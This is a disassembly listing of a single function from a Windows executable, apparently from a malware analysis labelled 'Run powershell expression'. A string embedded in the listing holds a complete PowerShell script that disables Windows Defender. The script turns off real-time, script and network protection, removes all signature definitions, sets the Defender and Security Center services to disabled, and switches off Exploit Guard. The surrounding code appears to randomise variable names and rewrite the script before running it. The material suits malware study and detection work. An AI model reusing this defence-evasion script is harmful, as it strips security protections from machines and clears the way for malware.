Function at 0x140006080
Capabilities:
Run powershell expression

Disassembly:
push rbp
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbx
sub rsp, 0x2a8
lea rbp, [rsp + 0x80]
mov qword [rbp + 0x220], 0xfffffffffffffffe
mov qword [rbp + 0xb0], rcx
lea rax, str.HKLM:SYSTEMCurrentControlSetServicesSecurityHealthServiceHKLM:SYSTEMCurrentControlSetServiceswscsvcHKLM:SYSTEMCurrentControlSetServicesWinDefendHKLM:SOFTWAREPoliciesMicrosoftWindows_DefenderHKLM:SOFTWAREPoliciesMicrosoftWindows_DefenderReal_Time_ProtectionHKLM:SOFTWAREPoliciesMicrosoftWindows_DefenderScanHKLM:SOFTWAREPoliciesMicrosoftWindows_DefenderExploit_Guard
mov qword [rbp - 0x40], rax
mov qword [rbp - 0x38], 0x3d
lea rax, [0x1400aef15]
mov qword [rbp - 0x30], rax
mov qword [rbp - 0x28], 0x2e
lea rax, [0x1400aef43]
mov qword [rbp - 0x20], rax
mov qword [rbp - 0x18], 0x31
lea rax, [0x1400aef74]
mov qword [rbp - 0x10], rax
mov qword [rbp - 8], 0x32
lea rax, [0x1400aefa6]
mov qword [rbp], rax
mov qword [rbp + 8], 0x47
lea rax, [0x1400aefed]
mov qword [rbp + 0x10], rax
mov qword [rbp + 0x18], 0x37
lea rax, [0x1400af024]
mov qword [rbp + 0x20], rax
mov qword [rbp + 0x28], 0x40
movzx eax, byte [0x1400de181]
mov ecx, 0xa10
mov edx, 1
call fcn.140018850
test rax, rax
je 0x140007279
mov rsi, rax
lea rdx, [0x1400af1fe]
mov r8d, 0xa10
mov rcx, rax
call sub.VCRUNTIME140.dll_memcpy
mov qword [rbp + 0x1b0], 0xa10
mov qword [rbp + 0x1b8], rsi
mov qword [rbp + 0x1c0], 0xa10
call fcn.14007af80
mov rsi, rax
cmp dword [rax], 1
jne 0x1400061a4
mov rdx, rsi
add rdx, 8
mov rax, qword [rsi + 8]
mov rcx, qword [rsi + 0x10]
jmp 0x1400061e4
xorps xmm0, xmm0
movaps xmmword [rbp + 0x110], xmm0
lea rcx, [rbp + 0x110]
mov edx, 0x10
call qword [sym.imp.bcryptprimitives.dll_ProcessPrng]
mov rax, qword [rbp + 0x110]
mov rcx, qword [rbp + 0x118]
mov rdx, rsi
add rdx, 8
mov qword [rsi], 1
mov qword [rsi + 8], rax
mov qword [rsi + 0x10], rcx
lea r8, [rax + 1]
mov qword [rdx], r8
movups xmm0, xmmword [0x1400af090]
movaps xmmword [rbp + 0x40], xmm0
movups xmm0, xmmword [0x1400af080]
movaps xmmword [rbp + 0x30], xmm0
mov qword [rbp + 0x50], rax
mov qword [rbp + 0x58], rcx
mov qword [rbp + 0xd8], 0
mov qword [rbp + 0xe0], 1
mov qword [rbp + 0xe8], 0
lea rbx, [rbp + 0x110]
lea rax, [rbp + 0x1d8]
lea rcx, [0x140003490]
mov qword [rbp + 0xb8], 0
jmp 0x140006265
lea rax, [rbp + 0x1d8]
lea rbx, [rbp + 0x110]
lea rcx, [0x140003490]
mov r11, qword [rbp + 0xb8]
cmp r11, 0x70
je 0x140006cc7
lea rax, [r11 + 0x10]
mov qword [rbp + 0xb8], rax
mov dword [rbp + 0x1a4], 1
xor r8d, r8d
mov qword [rbp + 0x98], r11
jmp 0x1400062ae
lea r8, [r12 + rsi]
inc r8
mov r11, qword [rbp + 0x98]
mov rdx, qword [rbp + 0x1b8]
mov r10, qword [rbp + 0x1c0]
test r8, r8
je 0x1400062e6
cmp r10, r8
jbe 0x1400062e0
cmp byte [rdx + r8], 0xbf
jg 0x1400062e6
jmp 0x140007250
jne 0x140007250
sub r10, r8
mov qword [rbp + 0x108], r8
add rdx, r8
mov r9, qword [rbp + r11 - 0x40]
mov rsi, qword [rbp + r11 - 0x38]
mov qword [rsp + 0x20], rsi
mov rcx, rbx
mov r8, r10
mov qword [rbp + 0x1c8], r9
call fcn.1400a6760
test byte [rbp + 0x110], 1
mov qword [rbp + 0x1a8], rsi
je 0x140006460
mov rsi, qword [rbp + 0x148]
mov r8, qword [rbp + 0x158]
mov rax, qword [rbp + 0x170]
lea r9, [rax - 1]
mov rdx, qword [rbp + 0x160]
mov r11, qword [rbp + 0x168]
cmp rsi, 0xffffffffffffffff
je 0x140006b9c
mov r12, qword [rbp + 0x138]
lea rcx, [r12 + r9]
cmp rcx, rdx
jae 0x140006250
mov r13, r9
mov rbx, qword [rbp + 0x130]
mov r14, qword [rbp + 0x118]
mov r9, qword [rbp + 0x128]
mov r10, rax
mov qword [rbp + 0x1f8], r9
sub r10, r9
mov qword [rbp + 0x1d0], r10
jmp 0x1400063b2
add r12, rax
xor esi, esi
lea rcx, [r12 + r13]
cmp rcx, rdx
jae 0x140006250
movzx ecx, byte [r8 + rcx]
bt rbx, rcx
jae 0x1400063a0
cmp r14, rsi
mov rcx, rsi
cmova rcx, r14
lea r9, [r8 + r12]
mov rdi, rcx
nop
cmp rdi, rax
jae 0x140006400
lea r15, [r12 + rdi]
cmp r15, rdx
jae 0x1400071a8
lea r15, [rdi + 1]
movzx r10d, byte [r11 + rdi]
cmp r10b, byte [r9 + rdi]
mov rdi, r15
je 0x1400063d0
sub r12, r14
add r12, r15
jmp 0x1400063a3
mov rcx, r14
nop word cs:[rax + rax]
cmp rsi, rcx
jae 0x1400065a8
dec rcx
cmp rcx, rax
jae 0x1400071e1
lea r9, [rcx + r12]
cmp r9, rdx
jae 0x1400071f5
movzx edi, byte [r11 + rcx]
cmp dil, byte [r8 + r9]
je 0x140006410
add r12, qword [rbp + 0x1f8]
mov rsi, qword [rbp + 0x1d0]
lea rcx, [r12 + r13]
cmp rcx, rdx
jb 0x1400063b2
jmp 0x140006250
cmp byte [rbp + 0x12a], 0
jne 0x140006250
mov r8, qword [rbp + 0x118]
mov rcx, qword [rbp + 0x158]
mov r12, qword [rbp + 0x160]
movzx eax, byte [rbp + 0x128]
jmp 0x140006495
xor al, 1
add r8, r9
test r8, r8
je 0x1400064b6
cmp r8, r12
jae 0x1400064b0
cmp byte [rcx + r8], 0xbf
jg 0x1400064b6
jmp 0x140007206
jne 0x140007206
cmp r8, r12
je 0x1400065a0
movzx r10d, byte [rcx + r8]
movzx edx, r10b
test dl, dl
js 0x140006510
test al, 1
jne 0x140006590
mov r9d, 1
cmp edx, 0x80
jb 0x140006490
mov r9d, 2
cmp edx, 0x800
jb 0x140006490
cmp edx, 0x10000
mov r9d, 4
sbb r9, 0
jmp 0x140006490
mov r9d, edx
and r9d, 0x1f
movzx r11d, byte [rcx + r8 + 1]
and r11d, 0x3f
cmp dl, 0xdf
jbe 0x140006564
movzx edx, byte [rcx + r8 + 2]
shl r11d, 6
and edx, 0x3f
or edx, r11d
cmp r10b, 0xf0
jb 0x140006578
movzx r10d, byte [rcx + r8 + 3]
and r9d, 7
shl r9d, 0x12
shl edx, 6
and r10d, 0x3f
or r10d, edx
or r10d, r9d
mov edx, r10d
test al, 1
je 0x1400064d4
jmp 0x140006590
shl r9d, 6
or r9d, r11d
mov edx, r9d
test al, 1
je 0x1400064d4
jmp 0x140006590
shl r9d, 0xc
or edx, r9d
test al, 1
je 0x1400064d4
nop word [rax + rax]
mov r12, r8
jmp 0x1400065a8
test al, 1
je 0x140006250
call fcn.140078250
lea r15, [rbp + 0x1d8]
lea rdi, [rbp + 0x110]
mov r13, qword [rbp + 0x1a8]
mov qword [rbp + 0xf0], rax
mov qword [rbp + 0x200], 0
mov qword [rbp + 0x208], 1
mov qword [rbp + 0x210], 0
mov qword [rbp + 0x118], 0
mov edx, 1
mov r8d, 8
mov rcx, r15
mov r9, rdi
call fcn.140015e80
cmp dword [rbp + 0x1d8], 1
je 0x14000723b
mov rax, qword [rbp + 0x1e0]
mov qword [rbp + 0x208], rax
mov qword [rbp + 0x200], 8
lea rax, str.abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789_n_________Disable_Windows_Defender_preferences_via_PowerShell_n________Set_MpPreference__DisableIntrusionPreventionSystem__true__DisableIOAVProtection__true__DisableRealtimeMonitoring__true__DisableScriptScanning__true__EnableControlledFolderAccess_Disabled__EnableNetworkProtection_AuditMode__Force__MAPSReporting_Disabled__SubmitSamplesConsent_NeverSend_n________Set_MpPreference__SubmitSamplesConsent_2_n________Start_Process__FilePath__C:Program_FilesWindows_DefenderMpCmdRun.exe___ArgumentList___RemoveDefinitions__All___Wait_n_n_________Modify_SecurityHealthService_Start_setting_n________Set_ItemProperty__Path_HKLM:SYSTEMCurrentControlSetServicesSecurityHealthService__Name_Start__Value_4_n_________n_________Modify_wscsvc_Start_setting_n________Set_ItemProperty__Path_HKLM:SYSTEMCurrentControlSetServiceswscsvc__Name_Start__Value_4_n_________n_________Modify_WinDefend_Start_setting_n________Set_ItemProperty__Path_HKLM:SYSTEMCurrentControlSetServicesWinDefend__Name_Start__Value_4_n_________n_________Disable_Windows_Defender_AntiSpyware_n________Set_ItemProperty__Path_HKLM:SOFTWAREPoliciesMicrosoftWindows_Defender__Name_DisableAntiSpyware__Value_1_n_n_________Disable_Real_Time_Protection_settings_n________Set_ItemProperty__Path_HKLM:SOFTWAREPoliciesMicrosoftWindows_DefenderReal_Time_Protection__Name_DisableBehaviorMonitoring__Value_1_n________Set_ItemProperty__Path_HKLM:SOFTWAREPoliciesMicrosoftWindows_DefenderReal_Time_Protection__Name_DisableOnAccessProtection__Value_1_n________Set_ItemProperty__Path_HKLM:SOFTWAREPoliciesMicrosoftWindows_DefenderReal_Time_Protection__Name_DisableRealtimeMonitoring__Value_1_n________Set_ItemProperty__Path_HKLM:SOFTWAREPoliciesMicrosoftWindows_DefenderReal_Time_Protection__Name_DisableScanOnRealtimeEnable__Value_1_n_n_________Disable_Windows_Defender_scanning_settings_n________Set_ItemProperty__Path_HKLM:SOFTWAREPoliciesMicrosoftWindows_DefenderScan__Name_DisableScanningMappedNetworkDrivesForFullScan__Value_1_n________Set_ItemProperty__Path_HKLM:SOFTWAREPoliciesMicrosoftWindows_DefenderScan__Name_DisableRemovableDriveScanning__Value_1_n________Set_ItemProperty__Path_HKLM:SOFTWAREPoliciesMicrosoftWindows_DefenderScan__Name_DisableArchiveScanning__Value_1_n_n_________Disable_Exploit_Protection_n________Set_ItemProperty__Path_HKLM:SOFTWAREPoliciesMicrosoftWindows_DefenderExploit_Guard__Name_ExploitProtectionEnabled__Value_0_n_n________Write_Output__Windows_Defender_has_been_disabled_and_preferences_have_been_updated.__n____Service_main_called.
mov qword [rbp + 0x110], rax
mov qword [rbp + 0x118], 0x3e
lea rax, [rbp + 0xf0]
mov qword [rbp + 0x120], rax
mov qword [rbp + 0x128], 0
mov qword [rbp + 0x130], 8
mov rcx, rdi
lea rdx, [rbp + 0x200]
call fcn.140015f90
movups xmm0, xmmword [rbp + 0x200]
movaps xmmword [rbp + 0x180], xmm0
mov rax, qword [rbp + 0x210]
mov qword [rbp + 0x190], rax
mov rcx, qword [rbp + 0xf0]
dec qword [rcx]
jne 0x1400066c0
dec qword [rcx + 8]
jne 0x1400066c0
mov edx, 0x170
mov r8d, 0x10
call fcn.140018860
nop dword [rax + rax]
lea rax, [rbp + 0x180]
mov qword [rbp + 0x1d8], rax
lea rax, [0x140003490]
mov qword [rbp + 0x1e0], rax
lea rax, [rbp + 0x1a4]
mov qword [rbp + 0x1e8], rax
lea rax, [0x1400a8f30]
mov qword [rbp + 0x1f0], rax
lea rax, str.var__
mov qword [rbp + 0x110], rax
mov qword [rbp + 0x118], 2
mov qword [rbp + 0x130], 0
mov qword [rbp + 0x120], r15
mov qword [rbp + 0x128], 2
lea rcx, [rbp + 0x200]
mov rdx, rdi
call fcn.1400a2d50
mov rdx, qword [rbp + 0x180]
test rdx, rdx
je 0x14000675b
mov rcx, qword [rbp + 0x188]
mov r8d, 1
call fcn.140018860
movups xmm0, xmmword [rbp + 0x200]
movaps xmmword [rbp + 0xc0], xmm0
mov rax, qword [rbp + 0x210]
mov qword [rbp + 0xd0], rax
mov rdx, qword [rbp + 0x1c8]
lea r8, [rdx + r13]
mov rcx, r15
call fcn.140011030
mov rbx, qword [rbp + 0x1e0]
mov rsi, qword [rbp + 0x1e8]
mov qword [rsp + 0x20], 1
mov rcx, rdi
mov rdx, rbx
mov r8, rsi
lea r9, str._char___
call fcn.140013a90
mov rax, qword [rbp + 0x120]
mov qword [rbp + 0x100], rax
movups xmm0, xmmword [rbp + 0x110]
movaps xmmword [rbp + 0xf0], xmm0
test rsi, rsi
je 0x140006810
lea r14, [rbx + 8]
jmp 0x1400067e9
add r14, 0x18
dec rsi
je 0x140006810
mov rdx, qword [r14 - 8]
test rdx, rdx
je 0x1400067e0
mov rcx, qword [r14]
mov r8d, 1
call fcn.140018860
jmp 0x1400067e0
mov rax, qword [rbp + 0x1d8]
test rax, rax
je 0x140006832
shl rax, 3
lea rdx, [rax + rax*2]
mov r8d, 8
mov rcx, rbx
call fcn.140018860
lea rdi, [rbp + 0xc0]
mov qword [rbp + 0x1d8], rdi
lea rdi, [0x140003490]
mov qword [rbp + 0x1e0], rdi
lea rax, [rbp + 0xf0]
mov qword [rbp + 0x1e8], rax
mov qword [rbp + 0x1f0], rdi
lea rax, [0x1400af0e8]
mov qword [rbp + 0x110], rax
mov qword [rbp + 0x118], 3
mov qword [rbp + 0x130], 0
mov qword [rbp + 0x120], r15
mov qword [rbp + 0x128], 2
lea rcx, [rbp - 0x58]
lea rbx, [rbp + 0x110]
mov rdx, rbx
call fcn.1400a2d50
movups xmm0, xmmword [rbp - 0x58]
movaps xmmword [rbp + 0x180], xmm0
mov rax, qword [rbp - 0x48]
mov qword [rbp + 0x190], rax
lea rax, [rbp + 0x180]
mov qword [rbp + 0x1d8], rax
mov qword [rbp + 0x1e0], rdi
lea rax, [0x1400ad880]
mov qword [rbp + 0x110], rax
mov qword [rbp + 0x118], 2
mov qword [rbp + 0x130], 0
mov qword [rbp + 0x120], r15
mov qword [rbp + 0x128], 1
lea rcx, [rbp + 0x80]
mov rdx, rbx
call fcn.1400a2d50
mov rax, qword [rbp + 0x80]
mov qword [rbp + 0x1f8], rax
mov rax, qword [rbp + 0x88]
mov qword [rbp + 0x1d0], rax
mov rsi, qword [rbp + 0x90]
mov rax, qword [rbp + 0xd8]
mov rdx, qword [rbp + 0xe8]
sub rax, rdx
cmp rax, rsi
jae 0x140006980
mov qword [rsp + 0x20], 1
mov r9d, 1
lea rcx, [rbp + 0xd8]
mov r8, rsi
call fcn.1400aac80
mov r14, r15
mov rdx, qword [rbp + 0xe8]
jmp 0x140006983
mov r14, r15
add rdx, qword [rbp + 0xe0]
mov rcx, rdx
mov r15, qword [rbp + 0x1d0]
mov rdx, r15
mov r8, rsi
call sub.VCRUNTIME140.dll_memcpy
add qword [rbp + 0xe8], rsi
mov rdx, qword [rbp + 0x1f8]
test rdx, rdx
je 0x1400069c0
mov r8d, 1
mov rcx, r15
call fcn.140018860
lea rax, [rbp + 0xc0]
mov qword [rbp + 0x1d8], rax
mov qword [rbp + 0x1e0], rdi
lea rax, [0x1400af118]
mov qword [rbp + 0x110], rax
mov qword [rbp + 0x118], 1
mov qword [rbp + 0x130], 0
mov qword [rbp + 0x120], r14
mov qword [rbp + 0x128], 1
lea rcx, [rbp + 0x68]
mov rdx, rbx
call fcn.1400a2d50
add r12, qword [rbp + 0x108]
lea r8, [r12 + r13]
mov rax, qword [rbp + 0x68]
mov qword [rbp + 0x108], rax
mov r9, qword [rbp + 0x70]
mov rax, qword [rbp + 0x78]
mov qword [rsp + 0x20], rax
lea rcx, [rbp + 0x1b0]
mov rdx, r12
mov qword [rbp + 0x1f8], r9
call fcn.1400159f0
mov rdx, qword [rbp + 0x108]
test rdx, rdx
je 0x140006a6e
mov r8d, 1
mov rcx, qword [rbp + 0x1f8]
call fcn.140018860
test r13, r13
js 0x140007230
je 0x140006aa0
movzx eax, byte [0x1400de181]
mov esi, 1
mov edx, 1
mov rcx, r13
call fcn.140018850
test rax, rax
jne 0x140006aa5
jmp 0x14000726c
mov eax, 1
mov rcx, rax
mov rsi, rax
mov rdx, qword [rbp + 0x1c8]
mov r8, r13
call sub.VCRUNTIME140.dll_memcpy
mov qword [rbp + 0x1d8], r13
mov qword [rbp + 0xa0], rsi
mov qword [rbp + 0x1e0], rsi
mov qword [rbp + 0x1e8], r13
mov byte [rbp + 0x21e], 1
mov rcx, rbx
lea rdx, [rbp + 0xc0]
call fcn.1400a3650
mov byte [rbp + 0x21e], 0
lea rcx, [rbp + 0x200]
lea rdx, [rbp + 0x30]
mov r8, r14
mov r9, rbx
call fcn.140015b80
mov rdx, qword [rbp + 0x200]
mov rax, rdx
neg rax
jo 0x140006b2c
jae 0x140006b2c
mov rcx, qword [rbp + 0x208]
mov r8d, 1
call fcn.140018860
inc dword [rbp + 0x1a4]
mov rsi, qword [rbp + 0xd0]
mov rdx, qword [rbp + 0x180]
test rdx, rdx
je 0x140006b57
mov rcx, qword [rbp + 0x188]
mov r8d, 1
call fcn.140018860
mov rdx, qword [rbp + 0xf0]
test rdx, rdx
je 0x140006b75
mov rcx, qword [rbp + 0xf8]
mov r8d, 1
call fcn.140018860
mov rdx, qword [rbp + 0xc0]
test rdx, rdx
je 0x1400062a0
mov rcx, qword [rbp + 0xc8]
mov r8d, 1
call fcn.140018860
jmp 0x1400062a0
mov r12, qword [rbp + 0x138]
mov rcx, r9
add r9, r12
cmp r9, rdx
jae 0x140006250
mov r13, qword [rbp + 0x130]
mov rdi, qword [rbp + 0x118]
mov r10, qword [rbp + 0x128]
mov qword [rbp + 0xa8], r10
lea r10, [rdi - 1]
mov qword [rbp + 0x1f8], r10
lea r15, [r8 + rdi]
lea r10, [r11 + rdi]
dec r10
mov qword [rbp + 0x1d0], r10
add r11, rdi
jmp 0x140006c06
add r12, rax
mov r14, r12
lea r9, [r14 + rcx]
mov r12, r14
cmp r9, rdx
jae 0x140006250
movzx r9d, byte [r8 + r9]
bt r13, r9
jae 0x140006bf0
xor r9d, r9d
mov rsi, r12
nop word [rax + rax]
lea r10, [rdi + r9]
cmp r10, rax
jae 0x140006c50
lea r10, [rdi + rsi]
cmp r10, rdx
jae 0x1400071c3
movzx r10d, byte [r11 + r9]
lea r14, [rsi + 1]
inc r9
cmp r10b, byte [r15 + rsi]
mov rsi, r14
je 0x140006c20
jmp 0x140006bf6
mov r9, qword [rbp + 0x1f8]
cmp r9, rax
jae 0x140006ca3
add r9, r12
mov r14, qword [rbp + 0x1d0]
mov rsi, rdi
nop dword [rax]
sub rsi, 1
jb 0x1400065a8
cmp r9, rdx
jae 0x14000721f
movzx r10d, byte [r14]
dec r14
lea rbx, [r9 - 1]
cmp r10b, byte [r8 + r9]
mov r9, rbx
je 0x140006c70
add r12, qword [rbp + 0xa8]
jmp 0x140006bf3
test rdi, rdi
je 0x1400065a8
lea r8, [0x1400ad6c8]
mov rcx, qword [rbp + 0x1f8]
mov rdx, rax
call fcn.1400ac800
jmp 0x140007277
lea rdx, [rbp + 0xd8]
mov qword [rbp + 0x1d8], rdx
mov qword [rbp + 0x1e0], rcx
lea rdx, [rbp + 0x1b0]
mov qword [rbp + 0x1e8], rdx
mov qword [rbp + 0x1f0], rcx
lea rcx, [0x1400ad880]
mov qword [rbp + 0x110], rcx
mov qword [rbp + 0x118], 2
mov qword [rbp + 0x130], 0
mov qword [rbp + 0x120], rax
mov qword [rbp + 0x128], 2
lea rcx, [rbp + 0x180]
lea rdx, [rbp + 0x110]
call fcn.1400a2d50
mov rdx, qword [rbp + 0x1b0]
test rdx, rdx
je 0x140006d58
mov rcx, qword [rbp + 0x1b8]
mov r8d, 1
call fcn.140018860
mov r15, qword [rbp + 0x190]
mov qword [rbp + 0x1c0], r15
movups xmm0, xmmword [rbp + 0x180]
movaps xmmword [rbp + 0x1b0], xmm0
mov rdi, qword [rbp + 0x1b8]
mov qword [rbp + 0x200], 0
mov qword [rbp + 0x208], 1
mov qword [rbp + 0x210], 0
xor esi, esi
xor ebx, ebx
xor r13d, r13d
jmp 0x140006dc0
mov rax, qword [rbp + 0x208]
mov byte [rax + r12], 0xa
inc r12
mov qword [rbp + 0x210], r12
mov r13, r14
nop
test bl, 1
jne 0x140007101
cmp r15, rsi
jb 0x140006e63
mov r14, rsi
jmp 0x140006de8
mov r14, rsi
cmp r15, rsi
jb 0x140006e63
mov r8, r15
sub r8, r14
lea r12, [rdi + r14]
cmp r8, 0xf
ja 0x140006e20
cmp r15, r14
je 0x140006e60
xor edx, edx
nop
cmp byte [r12 + rdx], 0xa
je 0x140006e30
inc rdx
cmp r8, rdx
jne 0x140006e00
jmp 0x140006e60
mov cl, 0xa
mov rdx, r12
call fcn.1400a5c10
cmp rax, 1
jne 0x140006ea3
lea rsi, [r14 + rdx]
inc rsi
add r14, rdx
cmp r14, r15
jae 0x140006de0
cmp byte [rdx + r12], 0xa
jne 0x140006de0
mov r14, rsi
mov rax, rsi
mov r12, rax
sub r12, r13
jne 0x140006e85
jmp 0x140006ec0
mov rsi, r15
test bl, 1
jne 0x140007101
mov bl, 1
mov r14, r13
mov rax, r15
cmp r15, r13
je 0x140007101
mov r12, rax
sub r12, r13
je 0x140006ec0
cmp byte [rdi + rax - 1], 0xa
jne 0x140006ec3
mov rcx, r12
dec rcx
je 0x140006ec0
add r12, 0xfffffffffffffffe
cmp byte [rdi + rax - 2], 0xd
cmovne r12, rcx
jmp 0x140006ec3
mov rsi, r15
test al, 1
je 0x140006e63
mov rsi, r15
mov r12, rax
sub r12, r13
jne 0x140006e85
nop word cs:[rax + rax]
xor r12d, r12d
add r13, rdi
mov edx, 0x10
lea rcx, str.Set_ItemPropertySet_MpPreferenceStart_ProcessInvoke_Expression___
mov r8, r13
mov r9, r12
call fcn.140002c00
test al, al
jne 0x140006f20
mov edx, 0x10
lea rcx, [0x1400af138]
mov r8, r13
mov r9, r12
call fcn.140002c00
test al, al
jne 0x140006f20
mov edx, 0xd
lea rcx, [0x1400af148]
mov r8, r13
mov r9, r12
call fcn.140002c00
test al, al
je 0x140007085
nop dword [rax + rax]
mov rcx, r13
mov rdx, r12
call fcn.1400185b0
mov qword [rbp + 0xf0], rax
mov qword [rbp + 0xf8], rdx
lea rax, [rbp + 0xf0]
mov qword [rbp + 0xc0], rax
lea rax, [0x140018590]
mov qword [rbp + 0xc8], rax
lea rax, [0x1400af170]
mov qword [rbp + 0x110], rax
mov qword [rbp + 0x118], 2
mov qword [rbp + 0x130], 0
lea rax, [rbp + 0xc0]
mov qword [rbp + 0x120], rax
mov qword [rbp + 0x128], 1
lea rcx, [rbp + 0x1d8]
lea rdx, [rbp + 0x110]
call fcn.1400a2d50
mov rax, qword [rbp + 0x1d8]
mov qword [rbp + 0x1a8], rax
mov rdx, qword [rbp + 0x1e0]
mov r12, qword [rbp + 0x1e8]
mov rax, qword [rbp + 0x200]
mov r8, qword [rbp + 0x210]
sub rax, r8
cmp rax, r12
mov qword [rbp + 0x1c8], rdx
jae 0x14000700d
mov qword [rsp + 0x20], 1
mov r9d, 1
lea rcx, [rbp + 0x200]
mov rdx, r8
mov r8, r12
call fcn.1400aac80
mov r8, qword [rbp + 0x210]
mov rdx, qword [rbp + 0x1c8]
add r8, qword [rbp + 0x208]
mov rcx, r8
mov r8, r12
call sub.VCRUNTIME140.dll_memcpy
add r12, qword [rbp + 0x210]
mov qword [rbp + 0x210], r12
cmp r12, qword [rbp + 0x200]
jne 0x140007042
lea rcx, [rbp + 0x200]
call fcn.140015ef0
mov rax, qword [rbp + 0x208]
mov byte [rax + r12], 0xa
inc r12
mov qword [rbp + 0x210], r12
mov r13, r14
mov rdx, qword [rbp + 0x1a8]
test rdx, rdx
je 0x140006dc0
mov r8d, 1
mov rcx, qword [rbp + 0x1c8]
call fcn.140018860
mov r13, r14
jmp 0x140006dc0
mov rax, qword [rbp + 0x200]
mov rdx, qword [rbp + 0x210]
sub rax, rdx
cmp rax, r12
jae 0x1400070c0
mov qword [rsp + 0x20], 1
mov r9d, 1
lea rcx, [rbp + 0x200]
mov r8, r12
call fcn.1400aac80
mov rdx, qword [rbp + 0x210]
add rdx, qword [rbp + 0x208]
mov rcx, rdx
mov rdx, r13
mov r8, r12
call sub.VCRUNTIME140.dll_memcpy
add r12, qword [rbp + 0x210]
mov qword [rbp + 0x210], r12
cmp r12, qword [rbp + 0x200]
jne 0x140006da5
lea rcx, [rbp + 0x200]
call fcn.140015ef0
jmp 0x140006da5
mov rax, qword [rbp + 0x210]
mov qword [rbp + 0x120], rax
movups xmm0, xmmword [rbp + 0x200]
movaps xmmword [rbp + 0x110], xmm0
mov rdx, qword [rbp + 0x1b0]
test rdx, rdx
je 0x14000713b
mov rcx, qword [rbp + 0x1b8]
mov r8d, 1
call fcn.140018860
mov rax, qword [rbp + 0x120]
mov qword [rbp + 0x1c0], rax
movaps xmm0, xmmword [rbp + 0x110]
movaps xmmword [rbp + 0x1b0], xmm0
mov rcx, qword [rbp + 0xb0]
mov qword [rcx + 0x10], rax
movups xmmword [rcx], xmm0
mov rdx, qword [rbp + 0xd8]
test rdx, rdx
je 0x140007183
mov rcx, qword [rbp + 0xe0]
mov r8d, 1
call fcn.140018860
mov byte [rbp + 0x21f], 0
lea rcx, [rbp + 0x30]
call fcn.140011f60
nop
add rsp, 0x2a8
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
add rcx, r12
cmp rdx, rcx
cmova rcx, rdx
lea r8, [0x1400ad6f8]
call fcn.1400ac800
jmp 0x140007277
add r12, rdi
cmp rdx, r12
cmova r12, rdx
lea r8, [0x1400ad6f8]
mov rcx, r12
call fcn.1400ac800
jmp 0x140007277
lea r8, [0x1400ad6c8]
mov rdx, rax
call fcn.1400ac800
jmp 0x140007277
lea r8, [0x1400ad6e0]
mov rcx, r9
call fcn.1400ac800
jmp 0x140007277
lea rax, [0x1400ad828]
mov qword [rsp + 0x20], rax
mov rdx, r12
mov r9, r12
call fcn.1400acc80
jmp 0x140007277
lea r8, [0x1400ad6e0]
mov rcx, r9
call fcn.1400ac800
jmp 0x140007277
xor esi, esi
mov rdx, qword [rbp + 0xa0]
jmp 0x14000726f
mov rcx, qword [rbp + 0x1e0]
mov rdx, qword [rbp + 0x1e8]
call fcn.1400ac530
jmp 0x140007277
lea rax, [0x1400af0a0]
mov qword [rsp + 0x20], rax
mov rcx, rdx
mov rdx, r10
mov r9, r10
call fcn.1400acc80
jmp 0x140007277
mov rdx, r13
mov rcx, rsi
call fcn.1400ac530
ud2
mov ecx, 1
mov edx, 0xa10
call fcn.1400ac530
int3